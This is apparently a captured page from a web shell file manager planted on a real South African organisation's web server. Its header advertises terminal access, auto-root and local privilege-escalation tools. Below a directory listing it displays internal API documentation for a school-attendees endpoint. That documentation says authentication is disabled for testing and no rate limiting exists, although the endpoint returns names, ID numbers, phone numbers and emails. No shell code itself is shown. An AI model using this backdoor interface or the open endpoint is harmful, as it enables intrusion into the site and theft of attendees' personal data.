Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.79
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
documentation /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
API_DOCUMENTATION.md
4.67
KB
-rwxrwxr-x
2026-04-02 11:48
MAILCHIMP_SETUP.md
4.44
KB
-rwxrwxr-x
2026-04-02 11:48
MAILCHIMP_TEST_SETUP.md
3.09
KB
-rwxrwxr-x
2025-07-04 14:25
SCHOOL_ATTENDEES_API.md
4.99
KB
-rwxrwxr-x
2025-07-04 14:25
Save
Rename
# School Attendees API Documentation ## Overview This API provides access to SchoolAttendee data in CSV-style JSON format. The endpoint allows you to retrieve school attendees for a specific event with filtering by attendee ID. ## Endpoint - **URL**: `/api/school-attendees` - **Method**: `GET` - **Authentication**: OAuth2 Bearer Token required (currently disabled for testing) ## Query Parameters ### Required Parameters - **eventId** (integer): The ID of the school event to filter attendees by ### Optional Parameters - **lastAttendeeId** (integer, default: 0): Only return attendees with ID greater than this value ## Example Usage ### Get all attendees for event ID 123 ```bash curl -X GET "http://your-domain.com/api/school-attendees?eventId=123" \ -H "Authorization: Bearer YOUR_OAUTH_TOKEN" ``` ### Get attendees for event ID 123 with attendee ID greater than 1000 ```bash curl -X GET "http://your-domain.com/api/school-attendees?eventId=123&lastAttendeeId=1000" \ -H "Authorization: Bearer YOUR_OAUTH_TOKEN" ``` ## Response Format The API returns data in CSV-style JSON format with headers and data rows: ```json { "headers": [ "id", "contact_title", "contact_first_name", "contact_last_name", "company_name", "address_line_1", "address_line_2", "address_line_3", "city", "postal_code", "phone_number", "mobile_number", "fax_number", "email_address", "dietary_req", "attended", "order_num", "org_vat_num", "id_number", "saace_mem_number", "ecsa_number", "designation", "cancelled", "date_cancelled", "booking_name", "booking_tel", "booking_email", "booking_fax", "date_booked", "known_as", "comments", "certificate_sent", "company_type", "saice_member", "saice_mem_number", "cesa_staff", "booking_form", "responsible_payment", "marketing_source", "package_chosen", "event_id" ], "data": [ [ "1", "Mr", "John", "Doe", "Test Company", "123 Test Street", "", "", "Test City", "1234", "0123456789", "0821234567", "", "john.doe@example.com", "", "y", "ORD001", "VAT123", "8001015009087", "", "", "Engineer", "0", "", "John Doe", "0123456789", "john.doe@example.com", "", "2024-01-01 00:00:00", "John", "", "", "Consulting", "0", "", "0", "", "John Doe", "Website", "Standard", "1" ] ] } ``` ## Field Descriptions - **id**: Attendee ID (primary key) - **contact_title**: Contact title (Mr, Mrs, Dr, etc.) - **contact_first_name**: Contact's first name - **contact_last_name**: Contact's last name - **company_name**: Company name - **address_line_1**: Address line 1 - **address_line_2**: Address line 2 - **address_line_3**: Address line 3 - **city**: City - **postal_code**: Postal code - **phone_number**: Phone number - **mobile_number**: Mobile number - **fax_number**: Fax number - **email_address**: Email address - **dietary_req**: Dietary requirements - **attended**: Attendance status (y/n/u) - **order_num**: Order number - **org_vat_num**: Organization VAT number - **id_number**: ID number - **saace_mem_number**: SAACE membership number - **ecsa_number**: ECSA number - **designation**: Professional designation - **cancelled**: Cancellation status (0/1) - **date_cancelled**: Date cancelled (YYYY-MM-DD HH:MM:SS) - **booking_name**: Booking contact name - **booking_tel**: Booking contact telephone - **booking_email**: Booking contact email - **booking_fax**: Booking contact fax - **date_booked**: Date booked (YYYY-MM-DD HH:MM:SS) - **known_as**: Known as name - **comments**: Comments - **certificate_sent**: Certificate sent date (YYYY-MM-DD HH:MM:SS) - **company_type**: Company type - **saice_member**: SAICE member status (0/1) - **saice_mem_number**: SAICE membership number - **cesa_staff**: CESA staff status (0/1) - **booking_form**: Booking form data - **responsible_payment**: Person responsible for payment - **marketing_source**: Marketing source - **package_chosen**: Package chosen - **event_id**: Associated event ID ## Error Responses - **400 Bad Request**: Missing or invalid parameters ```json { "error": "eventId parameter is required" } ``` ```json { "error": "eventId must be a valid number" } ``` ```json { "error": "lastAttendeeId must be a valid number" } ``` - **401 Unauthorized**: Invalid or missing OAuth2 token (when authentication is enabled) - **500 Internal Server Error**: Server error ## Database Query This endpoint implements the equivalent of the following SQL query: ```sql SELECT * FROM SchoolAttendees WHERE EventID = {eventId} AND AttendeeID > {lastAttendeeId} ORDER BY AttendeeID ``` ## Rate Limiting Currently, no rate limiting is implemented. Please use the API responsibly. ## Support For technical support, please contact the development team.